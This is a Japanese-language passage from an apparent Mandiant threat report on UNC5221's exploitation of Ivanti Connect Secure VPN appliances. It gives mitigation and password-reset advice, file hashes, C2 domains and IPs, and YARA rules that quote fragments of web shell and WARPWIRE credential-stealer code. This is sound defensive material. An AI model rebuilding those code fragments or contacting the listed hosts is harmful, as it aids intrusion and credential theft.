影響を受けるお客様は、ご使用のバージョンにまだパッチが提供されていない場合、直ちに緩和策をインストールしてください。本脆弱性対策をインストールすることで、将来的に 2 つの脆弱性が悪用されることを防ぐことができます。既存の侵害されたデバイスを修復したり、封じ込めたりすることを目的としたものではありません。

2024年1月20日、Ivantiは、ミティゲーションに悪影響を及ぼし、アプライアンスを脆弱な状態にする条件に関する詳細を発表しました。これは、Ivanti Neurons for Secure Access(nSA)またはPulse Oneを使用してアプライアンスに設定をプッシュしている顧客に影響します。Ivanti 社では、パッチがインストールされるまで、XML が適用されたアプライアンスへの設定のプッシュを停止するようお客様に推奨しています。

完全性チェッカーツール

Ivanti をご利用のお客様は、まず内部の整合性チェッカーツール(ICT)により、過去にヒットし たログを確認することをお勧めします。内部 ICT が結果を返さない場合、顧客は外部 ICT を実行する必要があります。MandiantとVolexityは、脅威アクターが検出を回避するために内部(内蔵)ICTを改ざんしようとしていることを確認しています。

対象となるお客様は、さらなる分析のために ICT 結果をIvanti 社と共有してください。それを踏まえ、Ivantiはアプライアンスが危険にさらされているかどうかを判断し、次のステップについての推奨事項を共有します。

パスワードのリセット

アプライアンスに設定されているローカルユーザのパスワードをリセットすることに加えて、Mandiantは、WARPWIRE認証情報窃取プログラムの影響を受けた組織に対して、マルウェアがアクティブであった期間中にアプライアンスに認証したユーザのパスワードをリセットするよう助言しています。また、IOCs セクションに記載されている WARPWIRE 認証情報窃取者の C2 アドレスへのトラフィックがないか、EDR テレメトリーおよびファイアウォールのログを検索することをお勧めします。

ハードニング・ガイド

Mandiantは、CVE-2023-46805、CVE-2024-21887、CVE-2024-21888、および CVE-2024-21893 の悪用に関連し、侵害されたと疑われる Ivanti Connect Secure (CS) VPN アプライアンスに対する修復および堅牢化の推奨事項を記載したガイダンス文書をリリースしました。

謝 辞

UNC5221によるCVE-2023-46805およびCVE-2024-21887の悪用の後における、Ivanti社の継続的なパートナーシップ、サポート、および透明性に感謝します。また、Mandiant Consulting、Intelligence、FLARE、Google TAGの各チームメンバーの協力なしには、この作業は不可能でした。

Indicators of Compromise (IOCs)

Host-Based Indicators (HBIs)

Filename

MD5

Description

health.py

3045f5b3d355a9ab26ab6f44cc831a83

CHAINLINE web shell

compcheckresult.cgi

3d97f55a03ceb4f71671aa2ecf5b24e9

LIGHTWIRE web shell

lastauthserverused.js

2ec505088b942c234f39a37188e80d7a

WARPWIRE credential harvester variant

lastauthserverused.js

8eb042da6ba683ef1bae460af103cc44

WARPWIRE credential harvester variant

lastauthserverused.js

a739bd4c2b9f3679f43579711448786f

WARPWIRE credential harvester variant

lastauthserverused.js

a81813f70151a022ea1065b7f4d6b5ab

WARPWIRE credential harvester variant

lastauthserverused.js

d0c7a334a4d9dcd3c6335ae13bee59ea

WARPWIRE credential harvester

lastauthserverused.js

e8489983d73ed30a4240a14b1f161254

WARPWIRE credential harvester variant

category.py

465600cece80861497e8c1c86a07a23e

FRAMESTING web shell

logo.gif

N/A — varies

Configuration and cache dump or CAV web server log exfiltration

login.gif

N/A — varies

Configuration and cache dump

[a-fA-F0-9]{10}\.css

N/A — varies

Configuration and cache dump

visits.py

N/A — varies

WIREFIRE web shell

Network-Based Indicators (NBIs)

Network Indicator

Type

Description

symantke[.]com

Domain

WARPWIRE C2 server

miltonhouse[.]nl

Domain

WARPWIRE variant C2 server

entraide-internationale[.]fr

Domain

WARPWIRE variant C2 server

api.d-n-s[.]name

Domain

WARPWIRE variant C2 server

cpanel.netbar[.]org

Domain

WARPWIRE variant C2 server

clickcom[.]click

Domain

WARPWIRE variant C2 server

clicko[.]click

Domain

WARPWIRE variant C2 server

duorhytm[.]fun

Domai​​n

WARPWIRE variant C2 server

line-api[.]com

Domain

WARPWIRE variant C2 server

areekaweb[.]com

Domain

WARPWIRE variant C2 server

ehangmun[.]com

Domain

WARPWIRE variant C2 server

secure-cama[.]com

Domain

WARPWIRE variant C2 server

146.0.228[.]66

IPv4

WARPWIRE variant C2 server

159.65.130[.]146

IPv4

WARPWIRE variant C2 server

8.137.112[.]245

IPv4

WARPWIRE variant C2 server

91.92.254[.]14

IPv4

WARPWIRE variant C2 server

186.179.39[.]235 

IPv4

Mass exploitation activity

50.215.39[.]49

IPv4

Post-exploitation activity

45.61.136[.]14

IPv4

Post-exploitation activity

173.220.106[.]166

IPv4

Post-exploitation activity

YARA Rules

rule M_Hunting_Webshell_BUSHWALK_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects BUSHWALK, a webshell written in Perl CGI 
that is embedded into a legitimate Pulse Secure file to enable file transfers"

  strings:
    $s1 = "SafariiOS" ascii
    $s2 = "command" ascii
    $s3 = "change" ascii
    $s4 = "update" ascii
    $s5 = "$data = RC4($key, $data);" ascii
  condition:
    filesize < 5KB
    and all of them
}
rule M_Hunting_Webshell_CHAINLINE_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects the CHAINLINE webshell, 
which receives RC4 encrypted commands and returns the execution result"
    md5 = "3045f5b3d355a9ab26ab6f44cc831a83"
  strings:
    $s1 = "crypt(command: str)" ascii
    $s2 = "tmp[i] = chr(ord(tmp[i])" ascii
    $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii
    $s4 = "class Health(Resource)" ascii
    $s5 = "crypt(base64.b64decode(command.encode(" ascii
    $s6 = "base64.b64encode(crypt(result)" ascii
    $s7 = "{\"message\": 'ok', \"stats\": result}" ascii
  condition:
    filesize < 100KB and
    any of them
}
rule M_HUNTING_APT_Webshell_FRAMESTING_result
{
    meta:
        author = "Mandiant"
        description = "Detects strings associated with FRAMESTING webshell"
        md5 = "465600cece80861497e8c1c86a07a23e"
    strings:
        $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache'"
        $s2 = "result={'message':'','action':0}"

    condition:
        any of them
}
rule M_Hunting_Webshell_LIGHTWIRE_4 {
  meta:
    author = "Mandiant"
    description = "Detects LIGHTWIRE based on the RC4 decoding 
and execution 1-liner."
    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
  strings:
    $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\
(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
  condition:
    filesize < 1MB and all of them
}
rule M_Hunting_CredTheft_WARPWIRE_strings
{
    meta:
        author = "Mandiant"
        description = "Detects strings within WARPWIRE credential harvester"
        md5 = "b15f47e234b5d26fb2cc81fc6fd89775"
    strings:
        $header = "function SetLastRealm(sValue) {"

        // password fields
        $username = "document.frmLogin.username.value;"
        $password = "document.frmLogin.password.value;"

        // post version
        $btoa = "btoa("
        $xhr_post = /xhr.open\(.POST.,( )?url,/

        // get version
        $xhr_get = /xhr.open\(.GET.,( )?url,/
        $xhr_send = "xhr.send(null);"

    condition:
        $header in (0..100) 
        and $password in (@username[1]..@username[1]+100)
        and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..
@xhr_get[1]+50)))
}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A106-938

Malicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1

A106-939

Malicious File Transfer - FRAMESTING, Upload, Variant #1

A106-940

Malicious File Transfer - WARPWIRE, Download, Variant #3

A106-941

Command and Control - WARPWIRE, DNS Query, Variant #3

A106-942

Command and Control - WARPWIRE, DNS Query, Variant #1

A106-943

Malicious File Transfer - WARPWIRE, Download, Variant #1

A106-944

Command and Control - WARPWIRE, DNS Query, Variant #2

A106-945

Malicious File Transfer - WARPWIRE, Download, Variant #2

A106-946

Malicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1

A106-947

Malicious File Transfer - LIGHTWIRE, Upload, Variant #1

A106-934

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1

A106-935

Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1

A106-936

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2

-Mandiant, 作成者: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan

投稿先